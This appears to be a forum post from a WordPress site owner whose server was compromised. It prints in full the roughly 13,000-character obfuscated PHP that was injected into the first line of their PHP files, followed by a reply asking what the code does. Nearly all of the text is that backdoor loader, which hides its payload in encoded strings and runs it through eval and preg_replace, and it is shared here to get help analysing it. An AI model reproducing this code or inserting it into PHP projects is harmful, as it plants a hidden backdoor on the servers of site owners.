Last week our web server was compromised. We noticed when it erupted in 500 errors. It seems that virtually every *.php file within WordPress had it's first line (the <?php opener) replaced with a 13000-character-long script of obfuscated PHP. I'm not sure if the injected code is part of the exploit or if it's the payload. System was WordPress 3…

hacked.php

$xymyqropbw = '7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%%x7825)sf%x5c%x7878pmpusut)tpqsc%x78223}!+!<+{e%x5c%x7825+x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x78x5c%x7824gvodujpo!%x5c%x7824-%x5fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%epc}A;~!}%x5c%x787f;!|!}{;)gj}%x5c%x7825-qp%x5c%x7825)54l}%x5c%x78x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#Ec%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x782f#00#W~!Ydrr)%x5y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c-#1]#-bubE{h%x5c%x7825)tpqsut>%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5cosvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277x7825:<#64y]552]e7y]gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787%x7825:-t%x5c%x7825)3of>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)#>n%x5c%x7825<#372]58y]472]37y%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x78d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_Ux75%156%x61"])))) { $GLOBALS["%x61%156&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x782") && (!isset($GLOBALS["%x61%156%R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5cx5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x55c%x785c2b%x5c%x7825!>!2yqmpef)#%x5c%x7824*<!%x5c%|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%xx7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<5c%x7822:ftmbg39*56A:>:8mg%x5c%x7825!<12>j%x5c%x7825!bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7828M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]77825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5cc%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x78%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfVgj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c]y72]265]y39]274]y85]273]y6g]273]y76]275c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmt825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x25fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x78255c%x7825G]y6d]281Ld]245]K2]285]K5)ufttj%x5c%x7822)gj6<^#Y#%x5cj%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7*!*+fepdfe{h+{d%x5c%xg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x14+9**-)1%x5c%x782f29x782f#%x5c%x782f},;#-#}+;86+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x75%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x7s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19276<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x782_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c75]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x1H*WCw*[!%x5c%x7825rN}#QwTW%x5x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*m]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]26x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787fZ<#opo#>b%x5c%x7825!*##>3%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%xoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%w6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827x7825s:%x5c%x785c%x5c^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7TPI%x5c%x7860QUUI&e_SEEB25ww2!>#p#%x5c%x782f#p#%x5c%xc%x7825hIr%x5c%x785c1^-%x5c%x7c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbs5)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>h%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782ft2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww*x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x78sutRe%x5c%x7825)Rd%x-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5cc%x782f#@#%x5c%x782fqp%x5c%s-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x524-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x7,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x7yf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}e]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x782%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&21]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso21%76%x21%50%x5c%x7825%x5c%x7878:!>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%xuhA)3of>2bd%x5c%x7825!<5FOJ%x5c%x7860GB)fubfsdXA%x5c%25z>>2*!%x5c%x7825z>3<!fmtf!%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-56<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x7825C>^#zsfvr#%x5c%x785cq%x5c%x78257**^x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c!%x5c%x7825yy)#}#-#%x5c%x782425:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%5#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)ec%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fce("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-U%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%xM7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x782%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x55c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#j&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7825c%x7824y7%x5c%x7824-*#57]38y]47]67y]37]88y]27]28y]#%xppde#)tutjyf%x5c%x78604%x5sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.V;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutj5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825cx7825V<#65,47R25,d7R17,67R3]317]445]212]445]43]37825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x56<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5cy81]273]y76]258]y6g]273]y76]271]y7d]252]y74%x787f!~!<##!>!2p%x5c%x7825Z<^2%x>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x78>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmj:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}48b%x5c%x7825w:!>!%x5c5]y39]271]y83]256]y78]248]j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%xf!%x5c%x7825b:>%x5c%82fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopo4:71]K9]77]D4]82]K6]72]K9]78]K5fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]%x75%156%x61"]=1; function fjfgg($n){return chr(ord($n)-1);}h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:4898l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x75c%x787fw6*CWtfs%x5c%x7825)77825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x785c%x7825)Rb%x5c%x7825))!gjj^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>%x5c%x787f%x5c%x787fx7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+782f%x5c%x7825z<jg!)%x5c%x78<!%x5c%x7825ff2!>!bssbz)%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%7pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x782c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-*WYsboepn)%x5c%x782527;%x5c%x7825!<*#}_;#)323ldfid>!<*#cd2bge56+99386c6f+9f525%x5c%x7827jsv%x5c%x78256<5h00#*<%x5c%x7825nfd)##Qtpz)#]341]8%x5c%x7824%x5c%x785c%x5c%x7825udovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x78572]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>3]83]238M7]381]211M5]67]452]88]5]48]32M32f20QUUI7jsv%x5c%x78257UFH#%%x78e%x5c%x78b%x5c%x7825ggg!>!#]1]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#] @error_reporting(0); preg_replay84]275]y83]248]y83]256]y81]265]y25z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x78%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjw6*%x5c%x787f_*#ujojRk3%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5if((function_exists("%x6f%142%x5f%163%x74%141%x72%1648%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%1678257-K)udfoopdXA%x5c%x7822)7gj6<*QDU#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c72%x5c%x7824<!%x5c%x7825mm!>!#]fmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x782%x5c%x7824*<!%x5c%x7824-%x5c%x7<**2qj%x5c%x7825)hopm3qjA)%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj5%x5c%x787f!<X>b%x5c%x7825x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%xqj3hopmA%x5c%x78273qj%x5c25)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f#]y74]273]y76]252]y85]256]y6g]257]y86]bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:569x7825:-5ppde:4:|:**#85:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:5R;2]},;osvufs}%x5c%x7827;mnui}&;z%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x75]53]Kc#<%x5c%x7825tpz!>!#]D660{66~6<&w6<%x5c%x787f#zsfvr#%x5c%x785cq%x5c%x7825c%x782f7rfs%x5c%x78256<#o]1%x5c%x786-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%f!|!*uyfu%x5c%x7827k:!ftmf!}Z;825>%x5c%x782fh%x5c%x7825:<*1%x29%51%x29%73", NULL); }y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6sv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787f%x7860{6~6<tfs%x5c%x7825w6<%x<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*o/(.*)/epreg_replacemjkwbylrpf'; $cemnirtihc = explode(chr((191-147)),'8692,53,1333,33,1257,38,7057,60,8454,32,5506,69,2376,54,8745,50,3702,53,4844,35,2960,44,6754,21,5958,57,7760,67,5082,56,6384,61,3189,48,3004,63,3124,65,4251,57,9130,53,9616,36,8332,28,1484,67,8795,37,5616,38,4967,29,3575,65,9033,26,9183,25,9059,45,5654,44,228,50,7968,27,5138,35,9589,27,2523,30,4085,61,6585,57,9567,22,3804,48,5856,70,10023,29,7353,28,2124,63,3460,58,9962,61,8611,30,6146,37,3640,38,3280,34,6642,46,2631,55,1366,61,2743,69,0,39,8567,44,8060,68,818,61,3755,49,5575,41,739,30,2553,57,8641,51,494,69,10052,54,8932,70,4043,42,1812,29,1652,67,1949,44,769,49,6552,33,1602,24,5025,57,5370,67,4943,24,7117,64,3314,57,1551,51,4445,27,5173,58,7704,56,7548,48,6095,51,6445,64,82,31,4375,20,7438,26,7943,25,1205,52,3912,24,4747,41,8128,35,1295,38,9104,26,3678,24,1081,46,957,44,1001,57,9817,30,3873,39,175,53,2833,25,372,36,7912,31,4879,64,1788,24,3067,57,309,33,9368,20,6069,26,113,27,2610,21,7381,57,9208,60,7528,20,2062,62,39,43,6297,27,4570,51,6862,65,6183,63,4621,56,9435,33,342,30,7293,60,7650,54,5800,56,879,58,2233,39,8392,62,8486,33,8223,69,9268,38,2187,46,9468,70,9847,28,6036,33,4308,67,5260,48,408,50,937,20,1127,30,6994,63,701,38,1058,23,6688,66,8901,31,653,48,7624,26,3237,43,2923,37,8030,30,7464,64,5231,29,4395,50,1157,48,4518,52,9756,61,278,31,6015,21,9002,31,9710,46,6345,39,5437,69,1626,26,1719,69,563,69,6246,51,1427,57,632,21,3995,48,4472,46,7827,65,3430,30,3965,30,2686,57,4202,49,7892,20,9306,62,9388,47,9652,58,7240,53,6927,30,9538,29,5698,63,6957,37,3371,20,3391,39,2491,32,4677,70,2430,61,1841,46,7995,35,1887,62,8292,40,6324,21,4788,56,4146,56,2812,21,2858,65,2325,51,6801,41,2272,53,6842,20,3852,21,8163,60,1993,69,8519,48,3936,29,7596,28,4996,29,140,35,7181,59,5761,39,458,36,5926,32,8832,69,8360,32,6509,43,3518,57,6775,26,9901,61,5308,62,9875,26'); $hhnmclirjm=substr($xymyqropbw,(47690-37584),(44-37)); if (!function_exists('aavupnxgqj')) { function aavupnxgqj($xxrokrvufo, $xpmgujzkdz) { $ousycazmoj = NULL; for($nreqcaruji=0;$nreqcaruji<(sizeof($xxrokrvufo)/2);$nreqcaruji++) { $ousycazmoj .= substr($xpmgujzkdz, $xxrokrvufo[($nreqcaruji*2)],$xxrokrvufo[($nreqcaruji*2)+1]); } return $ousycazmoj; };} $sijlvrytdp="\x20\57\x2a\40\x73\141\x64\155\x69\156\x75\152\x71\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x34\55\x31\60\x37\51\x29\54\x20\143\x68\162\x28\50\x35\60\x37\55\x34\61\x35\51\x29\54\x20\141\x61\166\x75\160\x6e\170\x67\161\x6a\50\x24\143\x65\155\x6e\151\x72\164\x69\150\x63\54\x24\170\x79\155\x79\161\x72\157\x70\142\x77\51\x29\51\x3b\40\x2f\52\x20\147\x73\144\x65\170\x79\171\x6b\170\x6c\40\x2a\57\x20"; $nifkijidrh=substr($xymyqropbw,(69111-58998),(42-30)); $nifkijidrh($hhnmclirjm, $sijlvrytdp, NULL); $nifkijidrh=$sijlvrytdp; $nifkijidrh=(383-262); $xymyqropbw=$nifkijidrh-1; ?><?php

Did you ever find out what this code does?